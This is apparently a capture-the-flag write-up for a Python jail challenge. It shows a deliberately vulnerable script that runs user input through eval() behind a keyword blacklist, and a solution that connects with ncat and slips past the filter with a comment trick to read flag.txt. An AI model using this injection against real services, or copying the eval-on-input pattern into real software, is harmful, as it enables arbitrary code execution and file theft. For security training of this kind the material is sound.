Unbreakable
Description
Think you can escape my grasp? Challenge accepted! I dare you to try and break free, but beware, it won't be easy. I'm ready for whatever tricks you have up your sleeve!
Challenge:
#!/usr/bin/python3
banner1 = '''<SMILE>'''
banner2 = '''<RABBIT>'''
blacklist = [ ';', '"', 'os', '_', '\\', '/', '`',
' ', '-', '!', '[', ']', '*', 'import',
'eval', 'banner', 'echo', 'cat', '%',
'&', '>', '<', '+', '1', '2', '3', '4',
'5', '6', '7', '8', '9', '0', 'b', 's',
'lower', 'upper', 'system', '}', '{' ]
while True:
ans = input('Break me, shake me!\n\n$ ').strip()
if any(char in ans for char in blacklist):
print(f'\n{banner1}\nNaughty naughty..\n')
else:
try:
eval(ans + '()')
print('WHAT WAS THAT?!\n')
except:
print(f"\n{banner2}\nI'm UNBREAKABLE!\n")
Solution
We are given netcat port to connect to which places us in Python Jail. blacklist
limits what we can do, my initial thought was breakpoint
but b
is blocked. Since we know flag to be in current directory we can use print(open(flag).read())
to get flag contents.
eval
function adds ()
to our command which can be ignored by comment.
➜ ncat 94.237.62.149 57503
Break me, shake me!
$ print(open('flag.txt').read())#
HTB{3v4l_0r_3vuln??}
WHAT WAS THAT?!
Break me, shake me!
Flag: HTB{3v4l_0r_3vuln??} {: .prompt-tip}
Last updated